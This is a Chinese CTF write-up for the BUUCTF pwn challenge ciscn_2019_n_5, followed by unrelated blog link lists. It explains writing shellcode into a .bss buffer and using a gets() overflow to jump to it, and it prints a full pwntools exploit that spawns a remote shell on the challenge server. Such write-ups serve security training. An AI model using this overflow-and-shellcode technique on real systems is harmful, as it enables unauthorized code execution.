[BUUCTF]PWN20——ciscn_2019_n_5

附件

步骤:
例行检查,64位,没有开启任何保护

试运行一下程序,看看程序的执行情况

64位ida载入,找到main函数,
逻辑很简单,第一次让我们输入名字,限制输入长度为0x64,看一下name参数,发现name在全局变量bss段上

第二次输入利用gets,没有限制长度,可以对v4造成溢出

利用过程

利用第一个输入点,往name参数里写入shellcode

context(arch='amd64',os='linux')                   #用来导入pwntools模块
shellcode=asm(shellcraft.sh()) #利用pwntools模块自动生成shellcode
r.sendlineafter('tell me your name',shellcode) #往name中写入shellcode

利用第二个输入点,让v4溢出到name参数地址,去执行shellcode拿到shell

payload='a'*0x28+p64(0x601080)                    #让v4溢出到name参数地址
r.sendlineafter('What do you want to say to me?',payload)

exp

from pwn import*

r=remote('node3.buuoj.cn',27785)

context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode) payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload) r.interactive()

最新文章

  1. Android中的数据保存
  2. 在html 中嵌入优酷视频
  3. http://www.cnblogs.com/softidea/p/5631763.html
  4. VIM替换、截取及追加操作
  5. Apache Apex
  6. poj1819Disks
  7. Jquery获得下拉框的值
  8. php var_export与var_dump 输出的不同
  9. Setup Project 安装项目
  10. Get Files from Directory
  11. HDU2054JAVA
  12. Tiny Spring 分析一
  13. javaWEB总结(8):自定义GenericServlet
  14. 使用eclipse和JavaFX Scene Builder进行快速构建JavaFX应用程序
  15. 理解WindowManagerService
  16. Photoshop合成雪景天使美女照片
  17. 【JVM】类加载机制
  18. VS下.net开发常用扩展、配置
  19. LeetCode算法题-Reverse String(Java实现)
  20. php 获取IP地址 并获取坐标lat lng 并获取到所在地区

热门文章

  1. [bzoj1068]压缩
  2. [loj3274]变色龙之恋
  3. Hibernate数据校验简介
  4. Kubernetes-网络
  5. 【JAVA】编程(6)--- 应用IO流拷贝文件夹(内含多个文件)到指定位置
  6. 【POJ3349 Snowflake Snow Snowflakes】【Hash表】
  7. 2020终于解决Chrome浏览器“崩溃啦”的问题!
  8. MariaDB—配置允许(别的电脑IP)远程访问方式
  9. 53-Linked List Cycle II
  10. du命令之计算文件大小